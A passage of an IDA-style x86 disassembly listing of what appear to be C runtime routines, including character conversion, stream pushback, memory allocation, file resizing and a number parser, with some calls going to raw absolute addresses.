		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_436648
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_4366F0, eax
		jns	short loc_420E77
		add	eax, 5265C00h
		dec	ecx
		mov	dword_4366F0, eax
		jmp	short loc_420E88
; ---------------------------------------------------------------------------

loc_420E77:				; CODE XREF: sub_420D58+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_420E8E
		sub	eax, edx
		inc	ecx
		mov	dword_4366F0, eax

loc_420E88:				; CODE XREF: sub_420D58+11Dj
		mov	dword_4366EC, ecx

loc_420E8E:				; CODE XREF: sub_420D58+126j
		mov	dword_4366E8, ebx

loc_420E94:				; CODE XREF: sub_420D58+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_420D58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420E98	proc near		; CODE XREF: sub_41D797+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_420EBB
		cmp	[ebp+arg_8], ebx
		jz	short loc_420EBB
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_420EC1
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_420EBB
		mov	[eax], bx

loc_420EBB:				; CODE XREF: sub_420E98+Cj
					; sub_420E98+11j ...
		xor	eax, eax

loc_420EBD:				; CODE XREF: sub_420E98+42j
					; sub_420E98+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_420EC1:				; CODE XREF: sub_420E98+17j
		cmp	dword_4CDA48, ebx
		jnz	short loc_420EDC
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_420ED7
		movzx	ax, al
		mov	[ecx], ax

loc_420ED7:				; CODE XREF: sub_420E98+36j
					; sub_420E98+C0j
		push	1
		pop	eax
		jmp	short loc_420EBD
; ---------------------------------------------------------------------------

loc_420EDC:				; CODE XREF: sub_420E98+2Fj
		mov	ecx, off_433C70
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420F39
		mov	eax, dword_433E7C
		cmp	eax, 1
		jle	short loc_420F20
		cmp	[ebp+arg_8], eax
		jl	short loc_420F2A
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4CDA58
		nop
		call	near ptr 2630000h
		test	eax, eax
		mov	eax, dword_433E7C
		jnz	short loc_420EBD

loc_420F20:				; CODE XREF: sub_420E98+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_420F2A
		cmp	[esi+1], bl
		jnz	short loc_420EBD

loc_420F2A:				; CODE XREF: sub_420E98+61j
					; sub_420E98+8Bj ...
		mov	dword_4CD9B4, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_420EBD
; ---------------------------------------------------------------------------

loc_420F39:				; CODE XREF: sub_420E98+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4CDA58
		call	near ptr 2630000h
		nop
		test	eax, eax
		jnz	loc_420ED7
		jmp	short loc_420F2A
sub_420E98	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F60	proc near		; CODE XREF: sub_41D797+76p
					; sub_41D797+88p ...

arg_0		= dword	ptr  4

		cmp	dword_433E7C, 1
		jle	short loc_420F77
		push	8
		push	[esp+4+arg_0]
		call	sub_41A642
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_420F77:				; CODE XREF: sub_420F60+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_433C70
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_420F60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_420F90	proc near		; CODE XREF: sub_41D797+797p
					; sub_41D797+7E7p
		cmp	cl, 40h
		jnb	short loc_420FAA
		cmp	cl, 20h
		jnb	short loc_420FA0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------

loc_420FA0:				; CODE XREF: sub_420F90+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------

loc_420FAA:				; CODE XREF: sub_420F90+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_420F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_420FAF	proc near		; CODE XREF: sub_41E20D+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_420FFB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_420FCD
		test	al, 80h
		jz	short loc_420FFB
		test	al, 2
		jnz	short loc_420FFB

loc_420FCD:				; CODE XREF: sub_420FAF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_420FDA
		push	esi
		call	sub_41F9D8
		pop	ecx

loc_420FDA:				; CODE XREF: sub_420FAF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_420FEA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_420FFB
		inc	eax
		mov	[esi], eax

loc_420FEA:				; CODE XREF: sub_420FAF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_421001
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_421007
		inc	eax
		mov	[esi], eax

loc_420FFB:				; CODE XREF: sub_420FAF+9j
					; sub_420FAF+18j ...
		or	eax, 0FFFFFFFFh

loc_420FFE:				; CODE XREF: sub_420FAF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_421001:				; CODE XREF: sub_420FAF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl

loc_421007:				; CODE XREF: sub_420FAF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_420FFE
sub_420FAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42101D	proc near		; CODE XREF: ___:0041F15Ap

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_42102E
		add	esp, 0Ch
		retn
sub_42101D	endp


; =============== S U B	R O U T	I N E =======================================



sub_42102E	proc near		; CODE XREF: sub_42101D+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4CEF01[eax], cl
		jnz	short loc_42105B
		cmp	[esp+arg_4], 0
		jz	short loc_421054
		movzx	eax, word_433C7A[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_421056
; ---------------------------------------------------------------------------

loc_421054:				; CODE XREF: sub_42102E+16j
		xor	eax, eax

loc_421056:				; CODE XREF: sub_42102E+24j
		test	eax, eax
		jnz	short loc_42105B
		retn
; ---------------------------------------------------------------------------

loc_42105B:				; CODE XREF: sub_42102E+Fj
					; sub_42102E+2Aj
		push	1
		pop	eax
		retn
sub_42102E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42105F	proc near		; CODE XREF: sub_41F885+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4CDC7C, ebx
		push	esi
		push	edi
		jnz	short loc_4210AE
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 2700000h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4210E4
		mov	esi, dword_4240DC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4CDC7C, eax
		jz	short loc_4210E4
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4CDC80, eax
		call	esi
		mov	dword_4CDC84, eax

loc_4210AE:				; CODE XREF: sub_42105F+Bj
		mov	eax, dword_4CDC80
		test	eax, eax
		jz	short loc_4210CD
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4210CD
		mov	eax, dword_4CDC84
		test	eax, eax
		jz	short loc_4210CD
		push	ebx
		call	eax
		mov	ebx, eax

loc_4210CD:				; CODE XREF: sub_42105F+56j
					; sub_42105F+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4CDC7C

loc_4210E0:				; CODE XREF: sub_42105F+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_4210E4:				; CODE XREF: sub_42105F+1Cj
					; sub_42105F+33j
		xor	eax, eax
		jmp	short loc_4210E0
sub_42105F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210E8	proc near		; CODE XREF: sub_41FA42+22p
					; sub_41FA42+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_421109
		test	esi, esi
		jnz	short loc_421103
		push	1
		pop	esi

loc_421103:				; CODE XREF: sub_4210E8+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h

loc_421109:				; CODE XREF: sub_4210E8+12j
					; sub_4210E8+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_421168
		mov	eax, dword_4CF028
		cmp	eax, 3
		jnz	short loc_421134
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4CF020
		ja	short loc_421153
		push	eax
		call	sub_41B0DD
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_42117E
		jmp	short loc_421153
; ---------------------------------------------------------------------------

loc_421134:				; CODE XREF: sub_4210E8+30j
		cmp	eax, 2
		jnz	short loc_421153
		cmp	esi, dword_435EB4
		ja	short loc_421153
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41BB80
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_421192

loc_421153:				; CODE XREF: sub_4210E8+3Bj
					; sub_4210E8+4Aj ...
		push	esi
		push	8
		push	dword_4CF024
		call	near ptr 2710000h
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_42118C

loc_421168:				; CODE XREF: sub_4210E8+26j
		cmp	dword_4CDA14, 0
		jz	short loc_42118C
		push	esi
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jz	short loc_421195
		jmp	short loc_421109
; ---------------------------------------------------------------------------

loc_42117E:				; CODE XREF: sub_4210E8+48j
		push	[ebp+arg_0]

loc_421181:				; CODE XREF: sub_4210E8+ABj
		push	0
		push	edi
		call	sub_417330
		add	esp, 0Ch

loc_42118C:				; CODE XREF: sub_4210E8+7Ej
					; sub_4210E8+87j
		mov	eax, edi

loc_42118E:				; CODE XREF: sub_4210E8+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_421192:				; CODE XREF: sub_4210E8+69j
		push	esi
		jmp	short loc_421181
; ---------------------------------------------------------------------------

loc_421195:				; CODE XREF: sub_4210E8+92j
		xor	eax, eax
		jmp	short loc_42118E
sub_4210E8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41FAE7

loc_421199:				; CODE XREF: sub_41FAE7+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4CECC0, esi
		jle	short loc_4211EC

loc_4211A8:				; CODE XREF: sub_41FAE7+1703j
		mov	eax, dword_4CDCB0
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_4211E3
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_4211C7
		push	eax
		call	sub_417900
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4211C7
		inc	edi

loc_4211C7:				; CODE XREF: sub_41FAE7+16D1j
					; sub_41FAE7+16DDj
		cmp	esi, 14h
		jl	short loc_4211E3
		mov	eax, dword_4CDCB0
		push	dword ptr [eax+esi*4]
		call	sub_417C3B
		mov	eax, dword_4CDCB0
		pop	ecx
		and	dword ptr [eax+esi*4], 0

loc_4211E3:				; CODE XREF: sub_41FAE7+16CBj
					; sub_41FAE7+16E3j
		inc	esi
		cmp	esi, dword_4CECC0
		jl	short loc_4211A8

loc_4211EC:				; CODE XREF: sub_41FAE7+16BFj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_41FAE7

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4211F1	proc near		; CODE XREF: sub_41FEC6+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_417B30
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4CEDE0
		jnb	loc_421326
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4CECE0[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_421326
		push	1
		push	esi
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_421330
		push	2
		push	esi
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_421330
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_4212D3
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_417330
		push	8000h
		push	ebx
		call	sub_421E2B
		add	esp, 14h
		mov	[ebp+arg_4], eax

loc_421287:				; CODE XREF: sub_4211F1+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_421292
		mov	eax, edi

loc_421292:				; CODE XREF: sub_4211F1+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_41ED97
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4212B0
		sub	edi, eax
		test	edi, edi
		jle	short loc_4212C6
		jmp	short loc_421287
; ---------------------------------------------------------------------------

loc_4212B0:				; CODE XREF: sub_4211F1+B5j
		cmp	dword_4CD9B8, 5
		jnz	short loc_4212C3
		mov	dword_4CD9B4, 0Dh

loc_4212C3:				; CODE XREF: sub_4211F1+C6j
		or	esi, 0FFFFFFFFh

loc_4212C6:				; CODE XREF: sub_4211F1+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_421E2B
		pop	ecx
		pop	ecx
		jmp	short loc_421313
; ---------------------------------------------------------------------------

loc_4212D3:				; CODE XREF: sub_4211F1+71j
		jge	short loc_421313
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_41E517
		push	ebx
		call	sub_41FE32
		add	esp, 10h
		push	eax
		nop
		call	near ptr 25D0000h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_421313
		mov	dword_4CD9B4, 0Dh
		call	near ptr 265031Fh
		nop
		mov	dword_4CD9B8, eax

loc_421313:				; CODE XREF: sub_4211F1+E0j
					; sub_4211F1:loc_4212D3j ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_421333
; ---------------------------------------------------------------------------

loc_421326:				; CODE XREF: sub_4211F1+1Aj
					; sub_4211F1+36j
		mov	dword_4CD9B4, 9

loc_421330:				; CODE XREF: sub_4211F1+4Ej
					; sub_4211F1+63j
		or	eax, 0FFFFFFFFh

loc_421333:				; CODE XREF: sub_4211F1+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_4211F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_421337	proc near		; CODE XREF: sub_420331+2Bp
					; sub_420331+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_42134D
		cmp	ecx, esi
		jnb	short loc_421350

loc_42134D:				; CODE XREF: sub_421337+10j
		push	1
		pop	eax

loc_421350:				; CODE XREF: sub_421337+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_421337	endp


; =============== S U B	R O U T	I N E =======================================



sub_421358	proc near		; CODE XREF: sub_421411+40p
					; sub_421411+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_421337
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42138A
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_421337
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42138A
		inc	dword ptr [esi+8]

loc_42138A:				; CODE XREF: sub_421358+19j
					; sub_421358+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_421337
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4213A2
		inc	dword ptr [esi+8]

loc_4213A2:				; CODE XREF: sub_421358+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_421337
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_421358	endp


; =============== S U B	R O U T	I N E =======================================



sub_4213B6	proc near		; CODE XREF: sub_421411+30p
					; sub_421411+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_4213B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4213E4	proc near		; CODE XREF: sub_4219A9+1C8p
					; sub_421EA1+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4213E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421411	proc near		; CODE XREF: sub_4214D8+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_421485
		push	edi
		mov	[ebp+arg_8], eax

loc_421438:				; CODE XREF: sub_421411+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_4213B6
		push	ebx
		call	sub_4213B6
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_421358
		push	ebx
		call	sub_4213B6
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_421358
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_421438
		xor	edx, edx
		pop	edi

loc_421485:				; CODE XREF: sub_421411+21j
					; sub_421411+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_4214B2
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_421485
; ---------------------------------------------------------------------------

loc_4214B2:				; CODE XREF: sub_421411+77j
		mov	esi, 8000h

loc_4214B7:				; CODE XREF: sub_421411+B9j
		test	[ebx+8], esi
		jnz	short loc_4214CC
		push	ebx
		call	sub_4213B6
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_4214B7
; ---------------------------------------------------------------------------

loc_4214CC:				; CODE XREF: sub_421411+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_421411	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4214D8	proc near		; CODE XREF: sub_42067A+17p
					; sub_4206A7+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi

loc_421513:				; CODE XREF: sub_4214D8+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_421529
		cmp	cl, 9
		jz	short loc_421529
		cmp	cl, 0Ah
		jz	short loc_421529
		cmp	cl, 0Dh
		jnz	short loc_42152C

loc_421529:				; CODE XREF: sub_4214D8+40j
					; sub_4214D8+45j ...
		inc	edi
		jmp	short loc_421513
; ---------------------------------------------------------------------------

loc_42152C:				; CODE XREF: sub_4214D8+4Fj
		push	4
		pop	esi

loc_42152F:				; CODE XREF: sub_4214D8+AEj
					; sub_4214D8+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4217B2	; default
					; jumptable 0042153B case 10
		jmp	off_421979[eax*4] ; switch jump

loc_421542:				; DATA XREF: ___:off_421979o
		cmp	bl, 31h		; jumptable 0042153B case 0
		jl	short loc_421553
		cmp	bl, 39h
		jg	short loc_421553

loc_42154C:				; CODE XREF: sub_4214D8+C4j
					; sub_4214D8+118j
		push	3
		jmp	loc_421770
; ---------------------------------------------------------------------------

loc_421553:				; CODE XREF: sub_4214D8+6Dj
					; sub_4214D8+72j
		cmp	bl, byte_433E80
		jnz	short loc_421562

loc_42155B:				; CODE XREF: sub_4214D8+124j
		push	5
		jmp	loc_4217A8
; ---------------------------------------------------------------------------

loc_421562:				; CODE XREF: sub_4214D8+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_421588
		dec	eax
		dec	eax
		jz	short loc_42157C
		sub	eax, 3
		jnz	loc_42184B
		jmp	loc_42160B
; ---------------------------------------------------------------------------

loc_42157C:				; CODE XREF: sub_4214D8+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_42152F
; ---------------------------------------------------------------------------

loc_421588:				; CODE XREF: sub_4214D8+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_42152F
; ---------------------------------------------------------------------------

loc_421591:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	bl, 31h		; jumptable 0042153B case 1
		mov	[ebp+var_10], edx
		jl	short loc_42159E
		cmp	bl, 39h
		jle	short loc_42154C

loc_42159E:				; CODE XREF: sub_4214D8+BFj
		cmp	bl, byte_433E80
		jz	loc_421666
		cmp	bl, 2Bh
		jz	short loc_4215E0
		cmp	bl, 2Dh
		jz	short loc_4215E0
		cmp	bl, 30h
		jz	short loc_42160B

loc_4215B9:				; CODE XREF: sub_4214D8+207j
		cmp	bl, 43h
		jle	loc_42184B
		cmp	bl, 45h
		jle	short loc_4215D9
		cmp	bl, 63h
		jle	loc_42184B
		cmp	bl, 65h
		jg	loc_42184B

loc_4215D9:				; CODE XREF: sub_4214D8+EDj
		push	6
		jmp	loc_4217A8
; ---------------------------------------------------------------------------

loc_4215E0:				; CODE XREF: sub_4214D8+D5j
					; sub_4214D8+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_4217A8
; ---------------------------------------------------------------------------

loc_4215E8:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	bl, 31h		; jumptable 0042153B case 2
		jl	short loc_4215F6
		cmp	bl, 39h
		jle	loc_42154C

loc_4215F6:				; CODE XREF: sub_4214D8+113j
		cmp	bl, byte_433E80
		jz	loc_42155B
		cmp	bl, 30h
		jnz	loc_4217C0

loc_42160B:				; CODE XREF: sub_4214D8+9Fj
					; sub_4214D8+DFj
		mov	eax, edx
		jmp	loc_42152F
; ---------------------------------------------------------------------------

loc_421612:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		mov	[ebp+var_10], edx ; jumptable 0042153B case 3

loc_421615:				; CODE XREF: sub_4214D8+184j
		cmp	dword_433E7C, edx
		jle	short loc_42162E
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_42163C
; ---------------------------------------------------------------------------

loc_42162E:				; CODE XREF: sub_4214D8+143j
		mov	ecx, off_433C70
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_42163C:				; CODE XREF: sub_4214D8+154j
		test	eax, eax
		jz	short loc_42165E
		cmp	[ebp+var_4], 19h
		jnb	short loc_421656
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_421659
; ---------------------------------------------------------------------------

loc_421656:				; CODE XREF: sub_4214D8+16Cj
		inc	[ebp+var_8]

loc_421659:				; CODE XREF: sub_4214D8+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421615
; ---------------------------------------------------------------------------

loc_42165E:				; CODE XREF: sub_4214D8+166j
		cmp	bl, byte_433E80
		jnz	short loc_4216CD

loc_421666:				; CODE XREF: sub_4214D8+CCj
		mov	eax, esi
		jmp	loc_42152F
; ---------------------------------------------------------------------------

loc_42166D:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	[ebp+var_4], 0	; jumptable 0042153B case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_421686

loc_421679:				; CODE XREF: sub_4214D8+1ACj
		cmp	bl, 30h
		jnz	short loc_421686
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421679
; ---------------------------------------------------------------------------

loc_421686:				; CODE XREF: sub_4214D8+19Fj
					; sub_4214D8+1A4j ...
		cmp	dword_433E7C, edx
		jle	short loc_42169F
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4216AD
; ---------------------------------------------------------------------------

loc_42169F:				; CODE XREF: sub_4214D8+1B4j
		mov	ecx, off_433C70
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_4216AD:				; CODE XREF: sub_4214D8+1C5j
		test	eax, eax
		jz	short loc_4216CD
		cmp	[ebp+var_4], 19h
		jnb	short loc_4216C8
		mov	eax, [ebp+var_C]
